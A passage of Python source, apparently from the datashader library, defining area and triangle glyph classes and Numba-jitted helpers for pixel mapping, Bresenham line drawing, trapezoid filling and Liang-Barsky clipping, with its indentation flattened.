for ycol in self.y)
if len(unique_y_stack_measures) > 1:
raise ValueError('y_stack columns must have the same data type')
def required_columns(self):
return self.y + self.y_stack
def compute_x_bounds(self, *args):
x_min = np.nanmin(self.x)
x_max = np.nanmax(self.x)
return self.maybe_expand_bounds((x_min, x_max))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.y]),
np.nanmax([np.nanmax(df[c].values) for c in self.y]),
np.nanmin([np.nanmin(df[c].values) for c in self.y_stack]),
np.nanmax([np.nanmax(df[c].values) for c in self.y_stack]),
]]
)).compute()
y_extents = np.nanmin(r[:, [0, 2]]), np.nanmax(r[:, [1, 3]])
return (self.compute_x_bounds(),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_line_axis1_x_constant(
draw_trapezoid_y, map_onto_pixel)
x_values = self.x
y_names = self.y
y_stack_names = self.y_stack
def extend(aggs, df, vt, bounds, plot_start=True):
ys = tuple(df[y_name].values for y_name in y_names)
y_stacks = tuple(df[y_stack_name].values
for y_stack_name in y_stack_names)
cols = aggs + info(df)
extend_area(vt, bounds, x_values, ys, y_stacks, plot_start, *cols)
return extend
class AreaToZeroAxis1YConstant(AreaToZeroAxis1):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)]) for xcol in self.x]):
raise ValueError('x columns must be real')
unique_x_measures = set(in_dshape.measure[str(xcol)]
for xcol in self.x)
if len(unique_x_measures) > 1:
raise ValueError('x columns must have the same data type')
def required_columns(self):
return self.x
def compute_y_bounds(self, *args):
y_min = np.nanmin(self.y)
y_max = np.nanmax(self.y)
return self.maybe_expand_bounds((y_min, y_max))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x])]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
return (self.maybe_expand_bounds(x_extents),
self.compute_y_bounds())
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_zero_axis1_y_constant(
draw_trapezoid_y, map_onto_pixel)
x_names = self.x
y_values = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
cols = aggs + info(df)
# line may be clipped, then mapped to pixels
extend_area(vt, bounds, xs, y_values, plot_start, *cols)
return extend
class AreaToLineAxis1YConstant(AreaToLineAxis1):
def validate(self, in_dshape):
if not all([isreal(in_dshape.measure[str(xcol)]) for xcol in self.x]):
raise ValueError('x columns must be real')
unique_x_measures = set(in_dshape.measure[str(xcol)]
for xcol in self.x)
if len(unique_x_measures) > 1:
raise ValueError('x columns must have the same data type')
def required_columns(self):
return self.x
def compute_y_bounds(self, *args):
y_min = min(np.nanmin(self.y), np.nanmin(self.y_stack))
y_max = max(np.nanmax(self.y), np.nanmax(self.y_stack))
return self.maybe_expand_bounds((y_min, y_max))
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin([np.nanmin(df[c].values) for c in self.x]),
np.nanmax([np.nanmax(df[c].values) for c in self.x])]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
return (self.maybe_expand_bounds(x_extents),
self.compute_y_bounds())
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_line_axis1_y_constant(
draw_trapezoid_y, map_onto_pixel)
x_names = self.x
y_values = self.y
y_stack_values = self.y_stack
def extend(aggs, df, vt, bounds, plot_start=True):
xs = tuple(df[x_name].values for x_name in x_names)
cols = aggs + info(df)
extend_area(
vt, bounds, xs, y_values, y_stack_values, plot_start, *cols)
return extend
class AreaToZeroAxis1Ragged(_PointLike):
def validate(self, in_dshape):
try:
from datashader.datatypes import RaggedDtype
except ImportError:
RaggedDtype = type(None)
if not isinstance(in_dshape[str(self.x)], RaggedDtype):
raise ValueError('x must be a RaggedArray')
elif not isinstance(in_dshape[str(self.y)], RaggedDtype):
raise ValueError('y must be a RaggedArray')
def required_columns(self):
return self.x, self.y
def compute_x_bounds(self, df):
bounds = self._compute_x_bounds(df[self.x].array.flat_array)
return self.maybe_expand_bounds(bounds)
def compute_y_bounds(self, df):
bounds = self._compute_y_bounds(df[self.y].array.flat_array)
# Make sure bounds include zero
bounds = min(bounds[0], 0), max(bounds[1], 0)
return self.maybe_expand_bounds(bounds)
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin(df[self.x].array.flat_array),
np.nanmax(df[self.x].array.flat_array),
np.nanmin(df[self.y].array.flat_array),
np.nanmax(df[self.y].array.flat_array)]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, 2]), np.nanmax(r[:, 3])
# Make sure y_extents include 0
y_extents = min(y_extents[0], 0), max(y_extents[1], 0)
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_zero_axis1_ragged(
draw_trapezoid_y, map_onto_pixel)
x_name = self.x
y_name = self.y
def extend(aggs, df, vt, bounds, plot_start=True):
xs = df[x_name].values
ys = df[y_name].values
cols = aggs + info(df)
extend_area(vt, bounds, xs, ys, plot_start, *cols)
return extend
class AreaToLineAxis1Ragged(_AreaToLineLike):
def validate(self, in_dshape):
try:
from datashader.datatypes import RaggedDtype
except ImportError:
RaggedDtype = type(None)
if not isinstance(in_dshape[str(self.x)], RaggedDtype):
raise ValueError('x must be a RaggedArray')
elif not isinstance(in_dshape[str(self.y)], RaggedDtype):
raise ValueError('y must be a RaggedArray')
elif not isinstance(in_dshape[str(self.y_stack)], RaggedDtype):
raise ValueError('y_stack must be a RaggedArray')
def required_columns(self):
return self.x, self.y, self.y_stack
def compute_x_bounds(self, df):
bounds = self._compute_x_bounds(df[self.x].array.flat_array)
return self.maybe_expand_bounds(bounds)
def compute_y_bounds(self, df):
bounds_y = self._compute_y_bounds(df[self.y].array.flat_array)
bounds_y_stack = self._compute_y_bounds(
df[self.y_stack].array.flat_array)
# Make sure bounds include zero
bounds = (min(bounds_y[0], bounds_y_stack[0], 0),
max(bounds_y[1], bounds_y_stack[1], 0))
return self.maybe_expand_bounds(bounds)
@memoize
def compute_bounds_dask(self, ddf):
r = ddf.map_partitions(lambda df: np.array([[
np.nanmin(df[self.x].array.flat_array),
np.nanmax(df[self.x].array.flat_array),
np.nanmin(df[self.y].array.flat_array),
np.nanmax(df[self.y].array.flat_array),
np.nanmin(df[self.y_stack].array.flat_array),
np.nanmax(df[self.y_stack].array.flat_array),
]]
)).compute()
x_extents = np.nanmin(r[:, 0]), np.nanmax(r[:, 1])
y_extents = np.nanmin(r[:, [2, 4]]), np.nanmax(r[:, [3, 5]])
return (self.maybe_expand_bounds(x_extents),
self.maybe_expand_bounds(y_extents))
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_trapezoid_y = _build_draw_trapezoid_y(append)
map_onto_pixel = _build_map_onto_pixel_for_line(x_mapper, y_mapper)
extend_area = _build_extend_area_to_line_axis1_ragged(
draw_trapezoid_y, map_onto_pixel)
x_name = self.x
y_name = self.y
y_stack_name = self.y_stack
def extend(aggs, df, vt, bounds, plot_start=True):
xs = df[x_name].values
ys = df[y_name].values
y_stacks = df[y_stack_name].values
cols = aggs + info(df)
extend_area(vt, bounds, xs, ys, y_stacks, plot_start, *cols)
return extend
class Triangles(_PolygonLike):
"""An unstructured mesh of triangles, with vertices defined by ``xs`` and ``ys``.
Parameters
----------
xs, ys, zs : list of str
Column names of x, y, and (optional) z coordinates of each vertex.
"""
@memoize
def _build_extend(self, x_mapper, y_mapper, info, append):
draw_triangle, draw_triangle_interp = _build_draw_triangle(append)
map_onto_pixel = _build_map_onto_pixel_for_triangle(x_mapper, y_mapper)
extend_triangles = _build_extend_triangles(draw_triangle, draw_triangle_interp, map_onto_pixel)
weight_type = self.weight_type
interpolate = self.interpolate
def extend(aggs, df, vt, bounds, plot_start=True):
cols = info(df)
assert cols, 'There must be at least one column on which to aggregate'
# mapped to pixels, then may be clipped
extend_triangles(vt, bounds, df.values, weight_type, interpolate, aggs, cols)
return extend
# -- Helpers for computing geometries --
def _build_map_onto_pixel_for_line(x_mapper, y_mapper):
@ngjit
def map_onto_pixel(vt, bounds, x, y):
"""Map points onto pixel grid.
Points falling on upper bound are mapped into previous bin.
If the line has been clipped, x and y will have been
computed to lie on the bounds; we compare point and bounds
in integer space to avoid fp error. In contrast, with
auto-ranging, a point on the bounds will be the same
floating point number as the bound, so comparison in fp
representation of continuous space or in integer space
doesn't change anything.
"""
sx, tx, sy, ty = vt
xmax, ymax = bounds[1], bounds[3]
xx = int(x_mapper(x) * sx + tx)
yy = int(y_mapper(y) * sy + ty)
# Note that sx and tx were designed so that
# x_mapper(xmax) * sx + tx equals the width of the canvas in pixels
#
# Likewise, sy and ty were designed so that
# y_mapper(ymax) * sy + ty equals the height of the canvas in pixels
#
# We round these results to integers (rather than casting to integers
# with the int constructor) to handle cases where floating-point
# precision errors results in a value just under the integer number
# of pixels.
xxmax = round(x_mapper(xmax) * sx + tx)
yymax = round(y_mapper(ymax) * sy + ty)
return (xx - 1 if xx == xxmax else xx,
yy - 1 if yy == yymax else yy)
return map_onto_pixel
def _build_map_onto_pixel_for_triangle(x_mapper, y_mapper):
@ngjit
def map_onto_pixel(vt, bounds, x, y):
"""Map points onto pixel grid.
Points falling on upper bound are mapped into previous bin.
"""
sx, tx, sy, ty = vt
xmax, ymax = bounds[1], bounds[3]
xx = int(x_mapper(x) * sx + tx)
yy = int(y_mapper(y) * sy + ty)
return (xx - 1 if x == xmax else xx,
yy - 1 if y == ymax else yy)
return map_onto_pixel
def _build_draw_line(append):
"""Specialize a line plotting kernel for a given append/axis combination"""
@ngjit
def draw_line(x0i, y0i, x1i, y1i, i, plot_start, clipped, *aggs_and_cols):
"""Draw a line using Bresenham's algorithm
This method plots a line segment with integer coordinates onto a pixel
grid. The vertices are assumed to have already been scaled, transformed,
and clipped within the bounds.
The following algorithm is the more general Bresenham's algorithm that
works with both float and integer coordinates. A future performance
improvement would replace this algorithm with the integer-specific one.
"""
dx = x1i - x0i
ix = (dx > 0) - (dx < 0)
dx = abs(dx) * 2
dy = y1i - y0i
iy = (dy > 0) - (dy < 0)
dy = abs(dy) * 2
if plot_start:
append(i, x0i, y0i, *aggs_and_cols)
if dx >= dy:
# If vertices weren't clipped and are concurrent in integer space,
# call append and return, as the second vertex won't be hit below.
if not clipped and not (dx | dy):
append(i, x0i, y0i, *aggs_and_cols)
return
error = 2*dy - dx
while x0i != x1i:
if error >= 0 and (error or ix > 0):
error -= 2 * dx
y0i += iy
error += 2 * dy
x0i += ix
append(i, x0i, y0i, *aggs_and_cols)
else:
error = 2*dx - dy
while y0i != y1i:
if error >= 0 and (error or iy > 0):
error -= 2 * dy
x0i += ix
error += 2 * dx
y0i += iy
append(i, x0i, y0i, *aggs_and_cols)
return draw_line
def _build_draw_trapezoid_y(append):
"""Specialize a plotting kernel for drawing a trapezoid with two
sides parallel to the y-axis"""
@ngjit
def clamp_y_indices(ystarti, ystopi, ymaxi):
"""Utility function to compute clamped y-indices"""
# First, check if the y indices are both out of bounds in the same
# direction. If this is true, then there is nothing to fill.
#
# Note that if the indices are out of bounds in opposite directions,
# then the pair is not considered out of bounds because part of the
# filled area between the coordinates will be in bounds.
out_of_bounds = ((ystarti < 0 and ystopi <= 0) or
(ystarti > ymaxi and ystopi >= ymaxi))
# Clamp ystarti to be within 0 and ymaxi
clamped_ystarti = max(0, min(ymaxi, ystarti))
# Following the Python range convention, clamp ystopi to be within
# -1 and ymaxi+1.
clamped_ystopi = max(-1, min(ymaxi + 1, ystopi))
return out_of_bounds, clamped_ystarti, clamped_ystopi
@ngjit
def draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked, *aggs_and_cols):
"""Draw a filled trapezoid that has two sides parallel to the y-axis
Such a trapezoid is defined by two x coordinates (x0 for the left
edge and x1 for the right parallel edge) and four y-coordinates
(y0 for top left vertex, y1 for bottom left vertex, y2 for the bottom
right vertex and y3 for the top right vertex).
(x1, y3)
_ +
(x0, y0) _-- |
+ |
| |
| |
+ |
(x0, y1) - |
- |
- |
+
(x1, y2)
In a proper trapezoid (as drawn above), y0 >= y1 and y3 >= y2 so that
edges do not intersect. This function also handles the case where
y1 < y0 or y2 < y3, which results in a crossing edge.
The trapezoid is filled using a vertical scan line algorithm where the
start and stop bins are calculated by what amounts to a pair of
Bresenham's line algorithms, one for the top edge and one for the
bottom edge.
Bins in the line connecting (x0, y1) and (x1, y2) are not filled if
the `stacked` argument is set to True. This way stacked trapezoids
will not have any overlapping bins.
Parameters
----------
x0i, x1i: int
x-coordinate indices of the start and stop edge of the trapezoid
y0i, y1i, y2i, y3i: int
y-coordinate indices of the four corners of the trapezoid
xmaxi, ymaxi: int
The maximum allowable x-index and y-index respectively.
The trapezoid will be clipped to these index values.
i: int
Group index
plot_start: bool
If True, the filled trapezoid will include the (x0, y0) to (x0, y1)
edge. Otherwise this edge will not be included.
clipped: bool
If True, the filled trapezoid will include the (x1, y3) to (x1, y2)
edge. Otherwise this edge will not be included.
stacked: bool
If False, the filled trapezoid will include the
(x0, y1) to (x1, y2) edge. Otherwise this edge will not
be included.
"""
# Compute x-delta and which direction we need to iterate through
# the x-bins
dx = x1i - x0i
ix = (dx > 0) - (dx < 0)
# Compute y-delta and iteration direction for the top and bottom edge.
# Note that these are numbered to match the y-coordinate of the start
# of the line
dy0 = y3i - y0i
iy0 = (dy0 > 0) - (dy0 < 0)
dy1 = y2i - y1i
iy1 = (dy1 > 0) - (dy1 < 0)
# Handle drawing the initial vertical line if plot_start is True
if plot_start:
y_oob, y_start, y_stop = clamp_y_indices(y0i, y1i, ymaxi)
x_oob = x0i < 0 or x0i > xmaxi
if y_oob or x_oob:
# Out of bounds, nothing to do
pass
elif y_start == y_stop and not stacked:
# No height, append to single bin if not in stacked mode
append(i, x0i, y_start, *aggs_and_cols)
else:
# Non-zero height
y = y_start
iy = (y_start < y_stop) - (y_stop < y_start)
if not stacked and -1 <= y_stop + iy <= ymaxi + 1:
# If not stacking, include bin on line from
# (x0, y1) to (x1, y2), otherwise leave it out
y_stop += iy
while y != y_stop:
append(i, x0i, y, *aggs_and_cols)
y += iy
# Handle zero width cases
if dx == 0 and not clipped:
y_oob, y_start, y_stop = clamp_y_indices(y3i, y2i, ymaxi)
x_oob = x1i < 0 or x1i > xmaxi
# y0-y1 edge already aggregated above if plot_start.
# Now aggregate the y3-y2 edge
if y_oob or x_oob:
# Out of bounds, nothing to do
pass
elif y_start == y_stop and not stacked:
# No height, append to single bin if not in stacked mode
append(i, x1i, y_start, *aggs_and_cols)
else:
# Non-zero height
y = y_start
iy = (y_start < y_stop) - (y_stop < y_start)
if not stacked and -1 <= y_stop + iy <= ymaxi + 1:
# If not stacking, include bin on line from
# (x0, y1) to (x1, y2), otherwise leave it
y_stop += iy
while y != y_stop:
append(i, x1i, y, *aggs_and_cols)
y += iy
return
# Non-zero width.
# Compute initial Bresenham line errors using the integer formulation.
# Note that unlike that standard Bresenham's algorithm,
# we are forcing the "driving axis" to be x regardless of the
# relationship between x and y deltas.
dx = abs(dx) * 2
dy0 = abs(dy0) * 2
dy1 = abs(dy1) * 2
error0 = 2 * dy0 - dx
error1 = 2 * dy1 - dx
while x0i != x1i:
# Update error and y-bin index for y0 line.
#
# Note that in the standard Bresenham's algorithm this would be
# an if statement. We need to make this a while statement in our
# case because we are forcing the x-axis to be the driving axis
# which requires the ability to increment the y-index multiple
# times for each step in the x-index.
while error0 >= 0 and (error0 or ix > 0):
error0 -= 2 * dx
y0i += iy0
error0 += 2 * dy0
# Update error and y-bin index for y1 line
while error1 >= 0 and (error1 or ix > 0):
error1 -= 2 * dx
y1i += iy1
error1 += 2 * dy1
# Update x
x0i += ix
# Check if x0i is in bounds.
x_oob = x0i < 0 or x0i > xmaxi
if x_oob:
# Note that it's important that we have already updated the
# error values and y indices before continuing to the next
# loop iteration
continue
# Compute clamped y indices
y_oob, y_start, y_stop = clamp_y_indices(y0i, y1i, ymaxi)
if y_oob:
# Out of bounds, nothing to do
pass
elif y_start == y_stop and not stacked:
# No height case, append to single bin if not in stacked mode
append(i, x0i, y_start, *aggs_and_cols)
else:
# Non-zero height case,
# append to bins in trapezoid column
y = y_start
iy = (y_start < y_stop) - (y_stop < y_start)
if not stacked and -1 <= y_stop + iy <= ymaxi + 1:
# If not stacking, aggregate bin on line from
# (x0, y1) to (x1, y2), otherwise leave it out
y_stop += iy
while y != y_stop:
append(i, x0i, y, *aggs_and_cols)
y += iy
return draw_trapezoid_y
@ngjit
def _outside_bounds(x0, y0, x1, y1, xmin, xmax, ymin, ymax):
if x0 < xmin and x1 < xmin:
return True
if x0 > xmax and x1 > xmax:
return True
if y0 < ymin and y1 < ymin:
return True
return y0 > ymax and y1 > ymax
@ngjit
def _clipt(p, q, t0, t1):
accept = True
if p < 0 and q < 0:
r = q / p
if r > t1:
accept = False
elif r > t0:
t0 = r
elif p > 0 and q < p:
r = q / p
if r < t0:
accept = False
elif r < t1:
t1 = r
elif q < 0:
accept = False
return t0, t1, accept
@ngjit
def _skip_or_clip(x0, x1, y0, y1, bounds, plot_start):
xmin, xmax, ymin, ymax = bounds
skip = False
# If any of the coordinates are NaN, there's a discontinuity.
# Skip the entire segment.
if np.isnan(x0) or np.isnan(y0) or np.isnan(x1) or np.isnan(
y1):
plot_start = True
skip = True
# Use Liang-Barsky (1992) to clip the segment to a bounding box
if _outside_bounds(x0, y0, x1, y1, xmin, xmax, ymin, ymax):
plot_start = True
skip = True
clipped = False
t0, t1 = 0, 1
dx = x1 - x0
t0, t1, accept = _clipt(-dx, x0 - xmin, t0, t1)
if not accept:
skip = True
t0, t1, accept = _clipt(dx, xmax - x0, t0, t1)
if not accept:
skip = True
dy = y1 - y0
t0, t1, accept = _clipt(-dy, y0 - ymin, t0, t1)
if not accept:
skip = True
t0, t1, accept = _clipt(dy, ymax - y0, t0, t1)
if not accept:
skip = True
if t1 < 1:
clipped = True
x1 = x0 + t1 * dx
y1 = y0 + t1 * dy
if t0 > 0:
# If x0 is clipped, we need to plot the new start
clipped = True
plot_start = True
x0 = x0 + t0 * dx
y0 = y0 + t0 * dy
return x0, x1, y0, y1, skip, clipped, plot_start
@ngjit
def _skip_or_clip_trapezoid_y(x0, x1, y0, y1, y2, y3, bounds, plot_start):
xmin, xmax, ymin, ymax = bounds
skip = False
clipped = False
# If any of the coordinates are NaN, there's a discontinuity.
# Skip the entire trapezoid.
if (np.isnan(x0) or
np.isnan(x1) or
np.isnan(y0) or
np.isnan(y1) or
np.isnan(y2) or
np.isnan(y3)):
plot_start = True
skip = True
# Check if trapezoid is out of bounds vertically
if ((y0 > ymax and y1 > ymax and y2 > ymax and y3 > ymax) or
(y0 < ymin and y1 < ymin and y2 < ymin and y3 < ymin)):
# No need to perform clipping, we will skip the whole thing
plot_start = True
skip = True
return x0, x1, y0, y1, y2, y3, skip, clipped, plot_start
# Initialize Liang-Barsky parameters
t0, t1 = 0, 1
dx = x1 - x0
dy0 = y3 - y0
dy1 = y2 - y1
# Clip on x boundaries only
t0, t1, accept = _clipt(-dx, x0 - xmin, t0, t1)
if not accept:
skip = True
t0, t1, accept = _clipt(dx, xmax - x0, t0, t1)
if not accept:
skip = True
# Update lines on clipping
if t1 < 1:
clipped = True
x1 = x0 + t1 * dx
y2 = y1 + t1 * dy1
y3 = y0 + t1 * dy0
if t0 > 0:
# If x0 is clipped, we need to plot the new start
clipped = True
plot_start = True
x0 = x0 + t0 * dx
y0 = y0 + t0 * dy0
y1 = y1 + t0 * dy1
return x0, x1, y0, y1, y2, y3, skip, clipped, plot_start
def _build_extend_line_axis0(draw_line, map_onto_pixel):
@ngjit
def extend_line(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""Aggregate along a line formed by ``xs`` and ``ys``"""
nrows = xs.shape[0]
i = 0
while i < nrows - 1:
x0 = xs[i]
y0 = ys[i]
x1 = xs[i + 1]
y1 = ys[i + 1]
x0, x1, y0, y1, skip, clipped, plot_start = \
_skip_or_clip(x0, x1, y0, y1, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
x1i, y1i = map_onto_pixel(vt, bounds, x1, y1)
draw_line(x0i, y0i, x1i, y1i, i, plot_start, clipped, *aggs_and_cols)
plot_start = False
i += 1
return extend_line
def _build_extend_line_axis0_multi(draw_line, map_onto_pixel):
@ngjit
def extend_line(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""Aggregate along a line formed by ``xs`` and ``ys``"""
nrows = xs[0].shape[0]
ncols = len(xs)
orig_plot_start = plot_start
j = 0
while j < ncols:
plot_start = orig_plot_start
i = 0
while i < nrows - 1:
x0 = xs[j][i]
y0 = ys[j][i]
x1 = xs[j][i + 1]
y1 = ys[j][i + 1]
x0, x1, y0, y1, skip, clipped, plot_start = \
_skip_or_clip(x0, x1, y0, y1, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
x1i, y1i = map_onto_pixel(vt, bounds, x1, y1)
draw_line(x0i, y0i, x1i, y1i, i, plot_start, clipped, *aggs_and_cols)
plot_start = False
i += 1
j += 1
return extend_line
def _build_extend_line_axis1_none_constant(draw_line, map_onto_pixel):
@ngjit
def extend_line(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""
here xs and ys are tuples of arrays and non-empty
"""
nrows = xs[0].shape[0]
ncols = len(xs)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j][i]
y0 = ys[j][i]
x1 = xs[j + 1][i]
y1 = ys[j + 1][i]
x0, x1, y0, y1, skip, clipped, plot_start = \
_skip_or_clip(x0, x1, y0, y1, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
x1i, y1i = map_onto_pixel(vt, bounds, x1, y1)
draw_line(x0i, y0i, x1i, y1i, i, plot_start, clipped,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_line
def _build_extend_line_axis1_x_constant(draw_line, map_onto_pixel):
@ngjit
def extend_line(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""
here xs and ys are tuples of arrays and non-empty
"""
nrows = ys[0].shape[0]
ncols = len(ys)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j]
y0 = ys[j][i]
x1 = xs[j+1]
y1 = ys[j+1][i]
x0, x1, y0, y1, skip, clipped, plot_start = \
_skip_or_clip(x0, x1, y0, y1, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
x1i, y1i = map_onto_pixel(vt, bounds, x1, y1)
draw_line(x0i, y0i, x1i, y1i, i, plot_start, clipped,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_line
def _build_extend_line_axis1_y_constant(draw_line, map_onto_pixel):
@ngjit
def extend_line(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""
here xs and ys are tuples of arrays and non-empty
"""
nrows = xs[0].shape[0]
ncols = len(xs)
i = 0
while i < nrows:
plot_start = True
j = 0
while j < ncols - 1:
x0 = xs[j][i]
y0 = ys[j]
x1 = xs[j + 1][i]
y1 = ys[j + 1]
x0, x1, y0, y1, skip, clipped, plot_start = \
_skip_or_clip(x0, x1, y0, y1, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
x1i, y1i = map_onto_pixel(vt, bounds, x1, y1)
draw_line(x0i, y0i, x1i, y1i, i, plot_start, clipped,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_line
def _build_extend_line_axis1_ragged(draw_line, map_onto_pixel):
def extend_line(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
x_start_indices = xs.start_indices
x_flat_array = xs.flat_array
y_start_indices = ys.start_indices
y_flat_array = ys.flat_array
perform_extend_lines_ragged(vt,
bounds,
x_start_indices,
x_flat_array,
y_start_indices,
y_flat_array,
plot_start,
*aggs_and_cols)
@ngjit
def perform_extend_lines_ragged(vt,
bounds,
x_start_indices,
x_flat_array,
y_start_indices,
y_flat_array,
plot_start,
*aggs_and_cols):
nrows = len(x_start_indices)
x_flat_len = len(x_flat_array)
y_flat_len = len(y_flat_array)
i = 0
while i < nrows:
plot_start = True
# Get x index range
x_start_index = x_start_indices[i]
x_stop_index = (x_start_indices[i + 1]
if i < nrows - 1
else x_flat_len)
# Get y index range
y_start_index = y_start_indices[i]
y_stop_index = (y_start_indices[i + 1]
if i < nrows - 1
else y_flat_len)
# Find line segment length as shorter of the two segments
segment_len = min(x_stop_index - x_start_index,
y_stop_index - y_start_index)
j = 0
while j < segment_len - 1:
x0 = x_flat_array[x_start_index + j]
y0 = y_flat_array[y_start_index + j]
x1 = x_flat_array[x_start_index + j + 1]
y1 = y_flat_array[y_start_index + j + 1]
x0, x1, y0, y1, skip, clipped, plot_start = \
_skip_or_clip(x0, x1, y0, y1, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
x1i, y1i = map_onto_pixel(vt, bounds, x1, y1)
draw_line(x0i, y0i, x1i, y1i, i, plot_start, clipped,
*aggs_and_cols)
plot_start = False
j += 1
i += 1
return extend_line
def _build_extend_area_to_zero_axis0(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = False
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs.shape[0]
i = 0
while i < nrows - 1:
x0 = xs[i]
x1 = xs[i + 1]
y0 = ys[i]
y1 = 0.0
y2 = 0.0
y3 = ys[i + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
y2i = y1i
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
i += 1
return extend_area
def _build_extend_area_to_line_axis0(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys0, ys1, plot_start, *aggs_and_cols):
"""Aggregate filled area between the line formed by
``xs`` and ``ys0`` and the line formed by ``xs`` and ``ys1``"""
stacked = True
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs.shape[0]
i = 0
while i < nrows - 1:
x0 = xs[i]
x1 = xs[i + 1]
y0 = ys0[i]
y1 = ys1[i]
y2 = ys1[i + 1]
y3 = ys0[i + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
_, y2i = map_onto_pixel(vt, bounds, x1, y2)
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
i += 1
return extend_area
def _build_extend_area_to_zero_axis0_multi(draw_trapezoid_y, map_onto_pixel):
@ngjit
def extend_area(vt, bounds, xs, ys, plot_start, *aggs_and_cols):
"""Aggregate filled area along a line formed by
``xs`` and ``ys``, filled to the y=0 line"""
stacked = False
xmaxi, ymaxi = map_onto_pixel(vt, bounds, bounds[1], bounds[3])
nrows = xs[0].shape[0]
ncols = len(xs)
orig_plot_start = plot_start
j = 0
while j < ncols:
plot_start = orig_plot_start
i = 0
while i < nrows - 1:
x0 = xs[j][i]
x1 = xs[j][i + 1]
y0 = ys[j][i]
y1 = 0.0
y2 = 0.0
y3 = ys[j][i + 1]
x0, x1, y0, y1, y2, y3, skip, clipped, plot_start = \
_skip_or_clip_trapezoid_y(
x0, x1, y0, y1, y2, y3, bounds, plot_start)
if not skip:
x0i, y0i = map_onto_pixel(vt, bounds, x0, y0)
_, y1i = map_onto_pixel(vt, bounds, x0, y1)
y2i = y1i
x1i, y3i = map_onto_pixel(vt, bounds, x1, y3)
draw_trapezoid_y(x0i, x1i, y0i, y1i, y2i, y3i, xmaxi, ymaxi,
i, plot_start, clipped, stacked,
*aggs_and_cols)
plot_start = False
i += 1
j += 1
return extend_area
def _build_extend_area_to_line_axis0_multi(draw_trapezoid_y, map_onto_pixel):
@ngjit
